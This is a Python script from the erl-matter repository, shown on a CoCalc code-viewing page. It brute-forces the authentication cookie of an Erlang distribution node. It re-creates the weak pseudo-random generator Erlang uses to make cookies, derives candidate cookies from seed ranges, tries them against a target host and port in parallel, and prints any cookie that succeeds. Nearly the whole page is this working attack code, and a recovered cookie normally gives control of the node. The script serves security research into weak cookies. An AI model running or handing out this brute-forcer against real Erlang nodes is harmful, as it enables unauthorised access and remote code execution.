Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
Path: blob/master/bruteforce-erldp.py
271 views
1
#!/usr/bin/env python3
2
3
import asyncio
4
from erldp import authenticate
5
6
import sys
7
import argparse
8
import json
9
from itertools import islice
10
11
12
def parse_interval(arg):
13
elms = arg.split(',')
14
assert(len(elms) == 3)
15
return int(elms[0], 0), int(elms[1], 0), float(elms[2])
16
17
def parse_distribution(arg):
18
intervals = []
19
with open(arg, 'r') as f:
20
obj = json.load(f)
21
for item in obj:
22
assert('start' in item)
23
assert('stop' in item)
24
assert('prob' in item)
25
intervals.append((item['start'], item['stop'], item['prob']))
26
return intervals
27
28
def walk_intervals(intervals):
29
for (start, stop, prob) in sorted(intervals, key=lambda x: x[2], reverse=True):
30
for x in range(start, stop):
31
yield x
32
33
34
def next_random(x): return (x*17059465 + 1) & 0xfffffffff
35
def derive_cookie(seed, size):
36
x = seed
37
cookie = bytearray(b'0'*size)
38
for i in range(size-1, -1, -1):
39
x = next_random(x)
40
cookie[i] = ord('A') + ((26*x) // 0x1000000000)
41
return bytes(cookie)
42
43
def batched(iterable, n):
44
"Batch data into tuples of length n. The last batch may be shorter."
45
# batched('ABCDEFG', 3) --> ABC DEF G
46
if n < 1:
47
raise ValueError('n must be at least one')
48
it = iter(iterable)
49
while batch := tuple(islice(it, n)):
50
yield batch
51
52
async def derive_and_authenticate(seed, target, port):
53
cookie = derive_cookie(seed, 20)
54
55
success = await authenticate(target, port, cookie)
56
if success:
57
print(f'[*] seed={seed:#x} cookie={cookie.decode()}')
58
(r, w) = success
59
w.close()
60
await w.wait_closed()
61
62
async def amain(intervals, sim, target, port):
63
for seeds in batched(walk_intervals(intervals), sim):
64
tasks = [asyncio.create_task(derive_and_authenticate(seed, target, port)) for seed in seeds]
65
await asyncio.gather(*tasks)
66
67
if __name__ == '__main__':
68
import argparse
69
70
parser = argparse.ArgumentParser()
71
mutual = parser.add_mutually_exclusive_group(required=True)
72
mutual.add_argument('--interval', action='append', type=parse_interval)
73
mutual.add_argument('--distribution')
74
mutual.add_argument('--seed-full-space', action='store_true')
75
mutual.add_argument('--sim', default=16, type=int)
76
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
77
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
78
79
args = parser.parse_args()
80
print(args)
81
82
if args.seed_full_space:
83
intervals = [parse_interval('0,68719476735,100.0')]
84
elif args.distribution:
85
intervals = parse_distribution(args.distribution)
86
else:
87
intervals = args.interval
88
pass
89
90
asyncio.run(amain(intervals, args.sim, args.target, args.port))
91
92